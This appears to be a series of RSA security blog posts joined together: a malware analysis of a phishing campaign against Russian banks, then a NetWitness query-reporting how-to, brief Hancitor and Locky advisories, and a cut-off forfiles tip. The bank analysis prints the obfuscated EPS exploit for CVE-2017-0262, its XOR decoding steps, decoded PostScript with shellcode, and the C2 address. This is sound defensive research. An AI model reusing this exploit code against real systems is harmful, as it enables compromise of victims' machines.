By far most of the bank-related phishing campaigns described in security advisories and reports consist of bank customers being targeted for their online credentials. Much less common is a phishing campaign targeting the banks themselves. Perhaps fraudsters know that there are a lot more bank customers than there are banks, and generally banks have a more hardened security posture than the average bank’s customer.


Target: multiple bank offices in Russia

But still, payoff potential for a successful bank compromise might be considerable. In this threat advisory, we describe a Russian-language phishing campaign active during the second week of August 2017, targeting not the usual banking customers, but the Russian banks themselves. And in an unusual reversal of typical bank phishing social engineering tactics, the phishing emails purport to be from the bank’s customers. Consider the following phish delivered to the email address displayed on the bank’s website.   In the email screenshot with our added machine translation from Russian, notice the subject line and message body text reflecting a “business customer upset about extra charges on his credit card” social engineering theme (Figure 1).


Figure 1 Phishing email targeting Russia bank #1, machine translation in red boxes


Figure 2 is a screenshot of another phishing email obtained by RSA FirstWatch, targeting “Russia bank #2.” While this email is part of the same campaign, note that the body text, subject lines, file name, and sender email is different from that targeting Russia bank #1, suggesting at least some manual actor modifications to the phishing email construction.


Figure 2 Phishing email targeting Russia bank #1, machine translation in red boxes


RSA FirstWatch identified 23 such attachments in this campaign, all using what appeared to be the exact same EPS exploit. The disgruntled banking customer was consistent throughout; illustrated below are a few attachment examples:


Exploit attachment #1 was deployed with the following names in Russian:

Выписка по счету.docx ("Account statement")

Выписка по карте.docx ("Card statement")

Персональные данные.docx ("Personal information")


Exploit attachment #2 was deployed with the following names:

Выписка по карте.docx (or “Card statement”)

Выписка по карте клиента.docx (or “Customer card statement”)


Exploit attachment #3 was deployed using the following name:

Выписка.docx (or “Statement”)


Note: Hashes of all samples will be included in the Appendix of this analysis.


As of 10 August 2017, RSA FirstWatch has high confidence that multiple individuals at many Russian banks were targeted with these malicious attachments, and believe this campaign was subsequently brought to the attention of the Central Bank of Russia’s FinCERT by one or more of the banks being targeted.  On 17 August 2017, the day we were finishing up this analysis, a new sample was discovered being deployed, with a different C2 node and slightly different communication.


An exploit in someone else’s wrapper?

Before we get to details about the exploit used in this campaign, we should cover some history on EPS exploits in docx files. FireEye discovered a malicious docx exploiting a zero day vulnerability in Microsoft’s Encapsulated Postscript (EPS) filter, in the summer of 2015. This EPS exploit was assigned CVE-2015-2545. In March 2017, FireEye observed both nation state and financially motivated actors using EPS zero day exploits assigned as CVE-2017-0261 and CVE-2017-0262, prior to Microsoft disabling EPS rendering in its Office products with an update in April 2017. So it is likely one of these three EPS exploits is being employed with the perpetrator activity under investigation, perhaps hoping that their targets haven’t applied the April patch that would make every EPS exploit futile.


Since docx files are just a Zip-compressed container, comparing them with a file tree view might be a quick way to assess similarity on a high level. In fact, all 23 known docx files used in this campaign are very nearly identical, with the same 12 component files. Varying checksums might have to do with build artifacts, perhaps even intentionally so, in order to generate a unique hash with each build.


Figure 3 Tree view of docx container file used to target Russian banks last week


Interesting enough 10 of these 12 docx component files (everything but the image1.eps and document.xml files) are dated April 18th. This is no coincidence; in fact, those same docx component files were found in the attachment used by nation-state actors in their email targeting of an Eastern European Ministry of Foreign Affairs, back when this EPS exploit was still a zero day (Figure 4).


Figure 4 Eastern European Ministry of Foreign Affairs targeted by suspected nation state actors


So if we compare the tree view of that older docx container (Figure 5), we see that 10 of the same component files appear identical, and we can confirm that using cryptographic hashing.



Figure 5 Tree view of "Trump" exploit docx container, with 10 of 12 files identical to 23 recent RU bank targeting samples described in this investigation


Of special note is the common app.xml file, which comes directly from the decoy document in the “Trump” exploit file. This app.xml file contains the same URL to the California Courier website (www[.]thecaliforniacourier[.]com), where the text was copied from “Trump’s Attack on Syria: Wrong for so Many Reasons” as described by ESET in their exploit analysis.


Clearly there was some “borrowing” going on between this current bank-targeting campaign and the previous nation-state espionage campaign. Does this suggest that these campaigns and actors are in any way complicit/related?  No. On the contrary, national interests seem to imply that those particular espionage-focused actors (i.e., from the “Trump” campaign) would almost certainly NOT be involved in broadly exploiting Russian banks a few months later.  That being said, an alternative hypothesis is that these bank-targeting actors purposely purloined the older espionage related docx files to introduce uncertainty and/or mis-attribution, or even to send a message to defenders or researchers.  As we'll see shortly, the attackers also interestingly signed (commented) their malware with lyrics from Slipknot's Snuff.


Figure 6 Google result with Slipknot Snuff lyrics 


Which exploit is this?

Obfuscation is important for exploits, especially when a campaign that is broad as this one is up against a gamut of financial institutions with AV’s that have had plenty of time to add detection for known EPS exploits. With initial AV coverage of these two dozen or so attachments in the single digits out of more than 50 AV vendors, RSA Engineering’s Kevin Douglas jumped at the chance to flex his deobfuscation skills, and here steps us through our exploit assessment.


Step 1.  Unzipping the sample DOCX file, reveals the following embedded EPS Image file

unzip ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8 

Archive:  ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8

  inflating: [Content_Types].xml     

  inflating: docProps/app.xml        

  inflating: docProps/core.xml       

  inflating: word/document.xml       

  inflating: word/fontTable.xml      

  inflating: word/settings.xml       

  inflating: word/styles.xml         

  inflating: word/webSettings.xml    

  inflating: word/media/image1.eps   

  inflating: word/theme/theme1.xml   

  inflating: word/_rels/document.xml.rels  

  inflating: _rels/.rels        


Step 2. Examining the app.xml file, we can see a suspicious URL artifact  

cat docProps/app.xml 

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Properties xmlns="" xmlns:vt=""><Template>Normal.dotm</Template><TotalTime>1</TotalTime><Pages>2</Pages><Words>958</Words><Characters>5462</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>45</Lines><Paragraphs>12</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>6408</CharactersWithSpaces><SharedDoc>false</SharedDoc><HLinks><vt:vector size="6" baseType="variant"><vt:variant><vt:i4>4456521</vt:i4></vt:variant><vt:variant><vt:i4>0</vt:i4></vt:variant><vt:variant><vt:i4>0</vt:i4></vt:variant><vt:variant><vt:i4>5</vt:i4></vt:variant><vt:variant><vt:lpwstr>hXXp://www[.]thecaliforniacourier[.]com </vt:lpwstr></vt:variant><vt:variant><vt:lpwstr></vt:lpwstr></vt:variant></vt:vector></HLinks><HyperlinksChanged>false</HyperlinksChanged><AppVersion>15.0000</AppVersion></Properties>


Step 3.  Examining the image1.eps file, we can see:

  1.  A likely multibyte XOR key (<7a5d5e20>)
  2.   Quoting lyrics from Slipknot's Snuff in the comments (%%Myheartisjusttoodarktocare, %%Icantdestroywhatisntthere)
  3.  A likely XOR encoded hexadecimal payload (<017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491
  4. 9297e421f3a…>)  
  5.  A likely XOR decode loop: (0 1 A1 length 1 sub { /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put }  for A1 }
  6.  A likely execution of the payload once it is decoded (exec )
  7.  Repetitive obfuscated comments translating to “kasper-pidor kasper-pidor kasper-pidor kasper-pidor” scattered throughout to make the code that make it harder to read.  These are highlighted in green... and possibly speak to something more personal between the actors and Kaspersky possibly? (e.g., %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220)


Dump of image1.EPS code:

%!PS-Adobe-3.0 EPSF-3.0

%%BoundingBox:   31   24  51  654

%%Page: 1 1

 /Times-Roman findfont globaldict



begin /l0 11 def l0 scalefont setfont newpath /E1 600 def 4 E1 moveto /l2 E1 def /l3 { /l4 exch def /l2 l2 l0 sub def 12 l2 moveto l4 show }  /min { 2 copy gt { exch } if pop } bind def  /max { 2 copy lt { exch } if pop } bind def

/A3{ token pop exch pop }




def /A2 



                                        <7a5d5e20> def /A4{



/A1 exch



                                def 0 1 A1 length 1 sub





{ /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor



 put }  for A1 }




def <017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491





%% quit 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646








A4  %%6b61737065722d7069646f72206b61



                                A3 %%6b61737065722d7069646f72206b61



                                                                exec %%6b61737065722d7069646f72206b61





         showpage quit


Step 4. Decoding the payload

Using the multibyte XOR Key (7a5d5e20), the payload can be decoded by XOR’ing each byte of the payload with its (position % 4) in the XOR key. For example, position 0 in the payload is XOR’d against 0x7a, position 1 is XOR’d against 0x5d, position 2 is XOR’d against 0x5e, position 3 is XOR’d against 0x20.  Then the cycle repeats for subsequent payload bytes.  Code similar to what's pasted below would decode it (acBuffer is payload, acKeys is XOR key).


   for (int ctr = 0; ctr < sizeof(acPayload) - 1; ctr++) {

      printf("%c", acPayload[ctr] ^ (acKeys[(ctr % 4)]));



This results in the decoded payload snippet pasted below.  Highlighted is most likely an encoded payload used in the next stage.  Also highlighted below are Windows DLL and function artifacts indicating maliciousness.


{ /Helvetica findfont 100 scalefont setfont globaldict begin /A13 800000 def /A12 A13 16 idiv 1 add def /A8 { /A54 exch def /A26 exch def /A37 A26 length def /A57 A54 length def /A41 256 def /A11 A37 A41 idiv def { /A11 A11 1 sub def A11 0 lt{ exit } if A26 A11 A41 mul A54 putinterval } loop A26 } bind def /A61 { dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A63 exch def A34 sub 65535 and A22 A43 sub A63 A34 sub 0 lt { 1 } { 0 } ifelse sub 16 bitshift or } bind def /A60 { dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A59 exch def A34 add 65535 and A22 A43 add A59 A34 add -16 bitshift add 16 bitshift or } bind def /A17 { /A46 exch def A18 A46 get A18 A46 1 A60 get 8 bitshift A60 A18 A46 2 A60 get 16 bitshift A60 A18 A46 3 A60 get 24 bitshift A60 } bind def /A2 { /A45 exch def /A20 exch def A18 A20 A45 255 and put A18 A20 1 A60 A45 -8 bitshift 255 and put A18 A20 2 A60 A45 -16 bitshift 255 and put A18 A20 3 A60 A45 -24 bitshift 255 and put } bind def /A47 { A18 exch get } bind def /A29 { 2147418112 and /A56 exch def { A18 A56 get 77 eq { A18 A56 1 A60 get 90 eq { A56 60 A60 A17 dup 512 lt { A56 A60 dup A47 80 eq { 1 A60 A47 69 eq { exit } if } { pop } ifelse } { pop } ifelse } if } if /A56 A56 65536 sub def } loop A56 } bind def /A51 { /A33 exch def /A38 exch def /A44 A38 dup 60 A60 A17 A60 def A18 A44 25 A60 get dup 01 eq { pop /A62 A38 A44 128 A60 A17 A60 def /A32 A44 132 A60 A17 def } { 02 eq { /A62 A38 A44 144 A60 A17 A60 def /A32 A44 148 A60 A17 def } if } ifelse 0 0 20 A32 1 A61 { /A49 exch def /A50 A62 A49 A60 12 A60 A17 def A50 0 eq { quit } if A18 A38 A50 A60 14 getinterval A33 search { length 0 eq { pop pop pop A62 A49 A60 exit } if pop } if pop } for } bind def /A40 { /A27 exch def /A23 exch def /A53 A23 A27 A51 def A53 16 A60 A17 A23 A60 A17 A29 } bind def /A35 { /A42 exch def /A30 exch def /A58 exch def /A39 A58 A30 A51 def /A25 A39 A17 A58 A60 def /A21 0 def { /A24 A25 A21 A60 A17 def A24 0 eq { 0 exit } if A18 A58 A24 A60 50 getinterval A42 search { length 2 eq { pop pop A39 16 A60 A17 A58 A60 A21 A60 A17 exit } if pop } if pop /A21 A21 4 A60 def } loop } bind def /A31 589567 string <00d0800d30d0800d000000000200000010d0800d020000003cd0800d0005000000000000000000005cd0800d00000300000000000000000020d0800d3cd0800d6cd0800d00000000f0ffff7f50d0800d00000000f1ffff7f> A8 def 500 {A31 589567 string copy pop} repeat 1 array 226545696 forall /A19 exch def /A18 exch def /A16 A12 array def A19 1 A16 put /A9 226545696 56 add A17 A17 def A9 /A36 exch A17 A29 def /A10 A36 4096 A60 def A9 /A68 exch 36 A60 A17 A17 40 A60 A17 def /A7 A18 A10 458752 getinterval def /A4 { /A64 exch def A7 A64 search { length A10 A60 exch pop exch pop } { quit } ifelse } bind def /A1 { A7 <50 45> search { length A10 A60 exch pop exch pop } { quit } ifelse } bind def /A28 A36 (KERNEL32.dll) A40 def /A3 A18 A28 4096 getinterval def /A1 { A3 <50 45> search { length A28 A60 exch pop exch pop } { quit } ifelse } bind def /A15 { A1 64 A60 A17 255 and } bind def A15 6 ne { quit } if /A14 A28 (ntdll.dll) (NtProtectVirtualMemory) A35 def /A67 <94 c3> A4 def /A65 A67 1 A60 def /A66 <c2 0c> A4 def /A55 A68 65536 A60 def /A52 A55 256 A60 def /A48 A55 512 A60 def /A6 A48 def A52 A68 A2 A52 4 A60 A13 A2 A16 0 A55 put A55 A55 4 A60 A2 A55 4 A60 A66 A2 A55 8 A60 A65 A2 A55 20 A60 A67 A2 A55 24 A60 A14 A2 A55 28 A60 A48 A2 A55 32 A60 -1 A2 A55 36 A60 A52 A2 A55 40 A60 A52 4 A60 A2 A55 44 A60 64 A2 A55 48 A60 A52 8 A60 A2 A68 2304 A2 /A5 A16 def A18 A6 <558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc83c11851e80e05000083c40450e81504000083c4088b55fc8982a80000008b45fc83c048508b4dfc83c11851e8e604000083c40450e8ed03000083c4088b55fc8982ac0000008b45fc0590000000508b4dfc83c118518b55fc8b82a8000000ffd0508b4dfc8b91ac000000ffd28b4dfc8981b40000008b55fc83c278528b45fc508b4dfc8b91a8000000ffd2508b45fc 


fd1a498994b7304ea2bf01272c6cc14b66ade7023b2fd8915d1bc7ac4b32bb89803b92980d328ec43b434d1f0620d5249e9eda8b50f1acfd50804566981d4af2b10c79acfa503e83f66c4b8b87e95748bbf6c7b6b39eb83cfe118f7b8ae9e877589c64db6e428832fd5899b413eaf351bc81004c65490f3667fe61eeb1c651c7ffd43188a9c33ce90e59032c103d45babfb945cd49b8111c4ed8fd9e6dca127ce5620c8502566f9b9c157a406b66c20c7b830ef45bbcb4e3ab6f0136a5b7f6e58602a1ff626ab174eb2cd98ca6b5dcada7fbc84846e53c042b6807505b89eaebca8145dcf30537e94a9244c3fe54a59ccd7c30cfe2def768f54e6d9569546c35b39e920145617f84c3fe20a9d6ddd2982ff661a4b1141571deb4e5666062604c4f4c4b454b588945fc8b45fc5f5e5b8be55dc3> putinterval A5 0 get bytesavailable }


Of particular in this last snippet is the block with the “forall” which is the memory corruption routine unique to the known exploit code for CVE-2017-0262, and as described in ESETs analysis on the subject. With bit-for-bit copy of CVE-2017-0262 exploit code, we have reasonable confidence that the exploit we are dealing with is in fact CVE-2017-0262.


Step 5.  Second stage payload

The second-stage payload (<558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc8 ) appears to be a simple hex-encoded blob (no XOR decoding needed).  Converting it from hex to binary and running the UNIX strings command on it yields the following interesting artifacts that hint what the next stage will be…































Command and Control

The malware performs calls back to 137.74.224[.]142, at five second intervals (Figure 6).


Figure 6 Malware C2 in Wireshark, courtesy VXStream


The destination hosts offers an HTTP 200 response and “false”.


GET /z/get.php?name=c3857e72 HTTP/1.1



HTTP/1.1 200 OK

Date: Thu, 10 Aug 2017 06:59:01 GMT

Server: Apache/2.4.10 (Debian)

Content-Length: 5

Content-Type: text/html; charset=UTF-8




We believe that the actors would not invoke remote control unless they had ruled out nosy researchers.  Based on Google searches identifying the C2 IP address (137.74.224[.]142) as an established Minecraft (multiplayer game) server, we suspect it is possible that the host has been compromised by the perpetrators and is being used without the permission of the owner.  Other previous URL resolutions may be associated with prior customers of the virtual private server (Figure 7).


Figure 7 Historic DNS resolutions for C2 IP address, courtesy PassiveTotal


During the course of this research we found some similarities in look and feel of this campaign (and its potential attribution) with past FirstWatch posts in Attacking a POS Supply Chain part-1 and  CHTHONIC and DIMNIE Campaign Targets Russia 8-2-2017.


Thanks to Kent, and Christopher Elisan for all their contributions to this research.





Md5 hashes of EPS exploit docx with C2 of 137.74.224[.]142

























MD5 hash of EPS exploit with C2 of 158.69.218[.]119



10.6 introduced a new CLI feature in NwConsole that allowed reporting with topquery.  This neat command allows the parsing of the /var/log/messages file for query commands on brokers, concentrators and archivers to report on query performance.  The is a very helpful command to dig into general analyst performance (best practices, poor syntax, optimization opportunities etc.) and hunt down slowness in the NetWitness Suite.


CLI: Commands used for Troubleshooting 

Command Line Interface for version 10.6.4 


This is a sample line from the output of topquery


  1. # Dec  3 13:43:46 loki NwConcentrator[15854]: [SDK-Values] [audit] User admin (session 54557, has f  
  2. inished values (channel 55739, queued 00:00:00, execute 00:25:13): id1=491506493860 id2=7516691  
  3. 19298 threshold=100000 size=20 flags=sessions,sort-total,order-descending,ignore-cache where="time=\"2015-12-03 11:39:00  
  4. \"-\"2015-12-03 17:38:59\""  
  5. /sdk values id1=491506493860 id2=751669119298 threshold=100000 size=20 flags=sessions,sort-tota  
  6. l,order-descending,ignore-cache where="time=\"2015-12-03 11:39:00\"-\"2015-12-03 17:38:59\""  


Each query is represented twice (the second starts at /sdk).

  • You can see the user that ran the query 'User admin'.  Depending on where the query was run from this may be the actual user logged in (investigation drills) or it may be the service account that was used to connect the RE service to all the components (and RE rules or ESA rules).
  • You are able to see how long the query ran for (execute) and how long it might have waited to execute (queued)
  • You can see the metakey that was use to drill onto in this case from investigator - navigate it was on
  • the timeframe for the query is also displayed
  • the ordering of the data is also shown (order-descending)
  • the default size of 20 values is also used to load on the drill ( a give away that this is the investigate view and default settings)


There are lots of options to topquery and it can be very handy to run this during monthly reviews of the platform to review query operations and make sure bad habits arent creeping into the analyst workflows.  One to be especially careful of is Investigate - advanced queries where the times are taking longer than normal to execute - check for queries on non index-values keys as this can create a major performance hit on the system.


Here is the help menu output from NwConsole - Topquery

  1. Usage: topQuery [days=#] [hours=#] [time1=<YYYY-MM-DD HH:MM:SS>]  
  2.                 [time2=<YYYY-MM-DD HH:MM:SS>] [user=<username>] [top=N]  
  3.                 [match=<values,query,timeline>] [input=<pathname>]  
  4.                 [delimiter=","] [append=<0,1>] [dateRegex=<regex>]  
  5.                 [regex=<regex>] [show] [distribution] [canceled]  
  6. Returns the top N longest running queries from the audit log (either a file or  
  7. from the log API)  
  9.     days         - Indicates the time range to query logs.  hours/days is how  
  10.                    far back from NOW.  
  11.     hours        - Indicates the time range to query logs.  hours/days is how  
  12.                    far back from NOW.  
  13.     time1        - Indicates the starting time range to query logs  
  14.     time2        - Indicates the ending time range to query logs  
  15.     user         - The user who submitted the query, by default searches all  
  16.                    users, use (admin|user1|user2) for multiple  
  17.     top          - The top N queries to display, by default shows the longest  
  18.                    executing 100 queries in the time range  
  19.     match        - The types of queries to match, default is:  
  20.                    values,query,timeline  
  21.     input        - Parse a log file for the queries  
  22.     output       - The optional output path where the logs will be saved,  
  23.                    otherwise logs are written to console  
  24.     append       - If 1, will append to existing file, zero overwrites  
  25.                    (default)  
  26.     dateRegex    - If passed in, this will be used to parse the date (syslog  
  27.                    only) instead of the default  
  28.     regex        - If passed in, this will be used to parse the complete log  
  29.                    instead of the default  
  30.     show         - Shows all the regex expressions that are used by default  
  31.     distribution - Groups query execution times into the provided distribution.  
  32.                    Must be a comma separated list of increasing seconds.  
  33.                    Example: distribution=10,20,30,60,300  
  34.     canceled     - If true, it will analyze canceled queries instead of queries  
  35.                    that finished  


Want to see who is downloading pcap files from the decoders and how long it took?

  1. [loki.netwitness.local:50005] /> topquery match=packets top=10  
  2. # 177682836    audit    2016-Feb-19 16:15:20    SDK-Packets    User administrator (session 216639, has finished packets (channel 216675, queued 00:00:00, execute 00:00:01): sessions=26197520000-26197520010 op=start  
  3. /sdk packets sessions=26197520000-26197520010 op=start  
  5. # 177682848    audit    2016-Feb-19 16:15:37    SDK-Packets    User administrator (session 216639, has finished packets (channel 216699, queued 00:00:00, execute 00:00:00): sessions=26197520015-26197520020 op=start  
  6. /sdk packets sessions=26197520015-26197520020 op=start  
  8. 2 queries were analyzed that match the specified criteria  
  9. 2 (100.0%) queries executed <= 5 seconds  
  10. 0 (0.0%) queries executed <= 10 seconds  
  11. 0 (0.0%) queries executed <= 20 seconds  
  12. 0 (0.0%) queries executed <= 30 seconds  
  13. 0 (0.0%) queries executed <= 60 seconds  
  14. 0 (0.0%) queries executed <= 120 seconds  
  15. 0 (0.0%) queries executed <= 300 seconds  
  16. 0 (0.0%) queries executed <= 600 seconds  
  17. 0 (0.0%) queries executed <= 1200 seconds  
  18. 0 (0.0%) queries executed <= 3600 seconds  
  19. 0 (0.0%) queries executed > 3600 seconds  


Want to change the distribution of the time buckets for the query results to something other than default?

  1. > login loki.netwitness.local:50005 administrator  
  3. Password: *******************  
  4. Successfully logged in as session 12102   
  5. [loki.netwitness.local:50005] /> topQuery days=7 top=2 distribution=20,40,60,300  
  7. # 153347016     audit   2015-Dec-16 14:44:01    SDK-Query       User admin (session 4992, has finish  
  8. ed query (channel 6966, queued 00:00:00, execute 00:11:40): id1=492650373414 id2=663447669617 size=0 flags=0 threshold=0  
  9. query="select * "  
  10. /sdk query id1=492650373414 id2=663447669617 size=0 flags=0 threshold=0 query="select * "  
  12. # 152612053     audit   2015-Dec-16 13:32:12    SDK-Values      User admin (session 4774, has finis  
  13. hed values (channel 4841, queued 00:00:00, execute 00:09:54): time2=1450288379 time1=1450266780 size=100000 fieldName=ip  
  14. .src flags=packets  
  15. /sdk values time2=1450288379 time1=1450266780 size=100000 fieldName=ip.src flags=packets  
  18. 2284 queries were analyzed that match the specified criteria  
  19. 2197 queries executed <= 20 seconds  
  20. 17 queries executed <= 40 seconds  
  21. 22 queries executed <= 60 seconds  
  22. 39 queries executed <= 300 seconds  
  23. 9 queries executed > 300 seconds  


Scripting for simplicity and efficiency

The CLI method is perfect for working on an individual system but requesting the information from multiple systems can be a manual process to connect to all systems and pull back data.  So a script was written to help with this process, actually 2 scripts are provided below.

provides the commands above in a script and prompts for the username, password, host and port interactively to make it easier to remember how to run the commands and then outputs the results to a folder on the system where teh script is run.  Generally running this from the NW/SA server head makes the most sense to run this centrally.

this provides the same functions as the above script but reads from csv where you can enter multiple systems to query.  it also chops up the output and provides more details around each query to help you determine where the query comes from in the system.  Queries can come from multiple locations and the only way to determine where they came from was to look at the format and syntax to deduce where the source is.  Potential sources can be Investigation - navigate - drill, basic query, advanced query, events view, RE > alert, RE > chart > RE > report, ESA, Packet Extraction, timeline load.

[root@sa rsa-nwconsole-topquery-chopper]# ./ devices-rsa.csv  


  1. 2017-Aug-14 17:44:18 - INFO: Skipping input file row marked as #comment  
  2. 2017-Aug-14 17:44:18 - INFO: Skipping input file row marked as #comment  
  3. 2017-Aug-14 17:44:18 - INFO: Skipping input file row marked as #comment  
  4. 2017-Aug-14 17:44:18 - SCRIPT VERSION: 0.1.11  
  5. 2017-Aug-14 17:44:18 - INFO: Processing concentrator device [concentrator6] at http://concentrator6:50105/  
  6. # NwConsole Communication Error Returned: None  
  7. # Concentrator: Expect SDK-Query from Reporting Engine (Reports) or SDK-Values from Reporting Engine(Alerts,Charts) or SDK-Values from Investigator/Events  
  8. 407929 queries were analyzed that match the specified criteria  
  9. 407817 (100.0%) queries executed <= 5 seconds  
  10. 55 (0.0%) queries executed <= 10 seconds  
  11. 28 (0.0%) queries executed <= 20 seconds  
  12. 12 (0.0%) queries executed <= 30 seconds  
  13. 12 (0.0%) queries executed <= 60 seconds  
  14. 5 (0.0%) queries executed <= 120 seconds  
  15. 0 (0.0%) queries executed <= 300 seconds  
  16. 0 (0.0%) queries executed <= 600 seconds  
  17. 0 (0.0%) queries executed <= 1200 seconds  
  18. 0 (0.0%) queries executed <= 3600 seconds  
  19. 0 (0.0%) queries executed > 3600 seconds  
  22. RSA Security Analytics Console  
  23. Copyright 2001-2017, RSA Security Inc.  All Rights Reserved.  
  26. >login concentrator6:50005 admin PASSWORD  
  27. Successfully logged in as session 1158004  
  28. >topquery top=100 days=100  
  29. # Source: HEADER  
  30.  10167785       audit   2017-Jul-11 01:13:36    SDK-Values      User admin (session 707083, has finished values (channel 707115, queued 00:00:00, execute 00:01:42): id1=2718729393 id2=6993289982 threshold=100000 size=20 flags=sessions,sort-total,order-descending,ignore-cache where="time=\"2016-02-29 02:44:00\"-\"2017-07-11 01:11:59\""  
  31. # Source: INVESTIGATION - navigate -  metakey drill  
  32. # Query: time=\"2016-02-29 02:44:00\"-\"2017-07-11 01:11:59\  
  33. # Size of results (max returned elements - 0 is unbounded): 20  
  34. # Drill occured on Metakey:  
  35.  8919357        audit   2017-May-08 14:35:57    SDK-Query       User admin (session 245003, has finished query (channel 245012, queued 00:00:00, execute 00:01:36): id1=1562949600 id2=5911144883 threshold=0 query="select countdistinct(, avg(, avg(, countdistinct(ip.src) where (time='2017-Apr-24 14:34:00'-'2017-May-08 14:33:59') && (direction='outbound' && service = 53 && != '','','','','','') group by order by countdistinct( DESC "  
  36. # Source: REPORTING_ENGINE (Report,Chart)  
  37. # Query:  (time='2017-Apr-24 14:34:00'-'2017-May-08 14:33:59') && (direction='outbound' && service = 53 && != '','','','','','') group by order by countdistinct( DESC  
  38.  8919356        audit   2017-May-08 14:35:57    SDK-Query       User admin (session 244975, has finished query (channel 244993, queued 00:00:00, execute 00:01:36): id1=1562949600 id2=5911144883 threshold=0 query="select count(, countdistinct(ip.src) where (time='2017-Apr-24 14:34:00'-'2017-May-08 14:33:59') && (direction = 'outbound' && service = 53 && != '','','','','','') group by,ip.src order by count( DESC "  
  39. # Source: REPORTING_ENGINE (Report,Chart)  
  40. # Query:  (time='2017-Apr-24 14:34:00'-'2017-May-08 14:33:59') && (direction = 'outbound' && service = 53 && != '','','','','','') group by,ip.src order by count( DESC  
  41.  9711797        audit   2017-Jun-16 00:29:15    SDK-Values      User admin (session 21639, has finished values (channel 21810, queued 00:00:00, execute 00:01:15): fieldName=streams id1=2110980282 id2=6419455724 threshold=100000 size=20 flags=sessions,sort-total,order-descending,ignore-cache where="time=\"2017-06-15 14:22:00\"-\"2017-06-15 20:21:59\""  
  42. # Source: INVESTIGATION - navigate -  metakey drill  
  43. # Query: time=\"2017-06-15 14:22:00\"-\"2017-06-15 20:21:59\  
  44. # Size of results (max returned elements - 0 is unbounded): 20  
  45. # Drill occured on Metakey: streams  
  46.  9711796        audit   2017-Jun-16 00:29:13    SDK-Values      User admin (session 21639, has finished values (channel 21790, queued 00:00:00, execute 00:01:13): fieldName=session.split id1=2110980282 id2=6419455724 threshold=100000 size=20 flags=sessions,sort-total,order-descending,ignore-cache where="time=\"2017-06-15 14:22:00\"-\"2017-06-15 20:21:59\""  
  47. # Source: INVESTIGATION - navigate -  metakey drill  
  48. # Query: time=\"2017-06-15 14:22:00\"-\"2017-06-15 20:21:59\  
  49. # Size of results (max returned elements - 0 is unbounded): 20  
  50. # Drill occured on Metakey: session.split  

During this 3rd quarter of 2017, several malspam campaigns have been successfully distributing the Hancitor Downloader.  The dropper uses strategies and obfuscation techniques on infected PCs, and has been observed delivering a variety of payloads.  


The early August "Shipment Arrived" malspam campaign masquerades as a FedEx shipment delivery notice and attempts to trick victims into clicking a link to download the invoice document which contains malicious macros.  This variant uses native API calls within Visual Basic code to carve out and decrypt embedded malware from malicious Word documents. In this case the payload is Zbot.



Once clicked on link, following word document gets downloaded. 



VirusTotal Analysis of Fedex_Invoice_598791.doc : 



Submitting the delivery document to What's This File service shows more information about the malicious word document.



This activity is captured in the process tree below, which downloads and executes the payload:



VirusTotal Analysis of the dropped file confirms that it’s Zbot Malware delivered by Hancitor: 



More information about Zbot variants detection and RSA FirstWatch feed :


 Current RSA NetWitness detection populates following meta:



Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.




A malspam campaign was noted on Friday August 11th 2017 delivering "Diablo6", a variant of Locky ransomware. The new variant is named after the extension of the encrypted files on a victim machine. It is delivered via PDF documents with attached malicious Word documents. RSA FirstWatch discussed this delivery mechanism before and shared detection techniques using NetWitness Packets and the hunting pack. In this threat advisory we will discuss the network behavior of the recent campaign.


Here is an example of a delivery document. It has an attached Word document which in turn has a malicious macro. Social engineering is needed to lure the victim to bypass built-in measures in Adobe Reader and Microsoft Word in order to eventually run the malicious macro.



Submitting the PDF document (SHA256: e58662121738a24edf2341a4344a237d711fdb025dbe0a8f208205d99723209ato RSA pre-release What's This File service shows a medium threat score. It also displays information about embedded Javascript code to try to auto launch the attached Word document:



The embedded Word document itself (SHA256: e853432940466040561d30e2ee81a5e9785d64e6bead19372a9f585745a934fd) has a high threat score with different suspicious characteristics:



The VBA code reaches out to a delivery domain in order to download a payload, in this case a Locky ransomware variant (SHA256: 5606e9dc4ab113749953687adac6ddb7b19c864f6431bdcf0c5b0e2a98cca39e). Analysis report from can be found here




NetWitness Packets tagged the download sessions with the following meta values:



The network behavior was shared among different infected systems indicating an active campaign:



After a time delay, the executable starts to encrypt the files on the victim machine, then changes the desktop background and displays a note with the necessary instructions to pay the ransom before deleting itself from the system. The time delay is most likely used to evade sandbox technologies:




This Locky variant asks for 0.5 BTC to decrypt the victim files:



NetWitness Endpoint shows the following module IIOC's and tracking data for the ransomware:



All the delivery domains from this campaign will be added to FirstWatch C2 domains on Live with the following meta values:

  • threat.source = 'rsa-firstwatch'
  • threat.category = 'malspam'
  • threat.description = 'delivery-domain'


Previous RSA Link articles on Locky:

Twitter is great for all sorts of neat discoveries, this one came up this weekend which seemed like an interesting item to test and track down using NetWitness Endpoint and Logs for Windows endpoints.


Eric on Twitter: "Defenders watching launches of cmd? What about forfiles?    forfiles /p c:\windows\system32 /m notepa…  (@vector_sec)


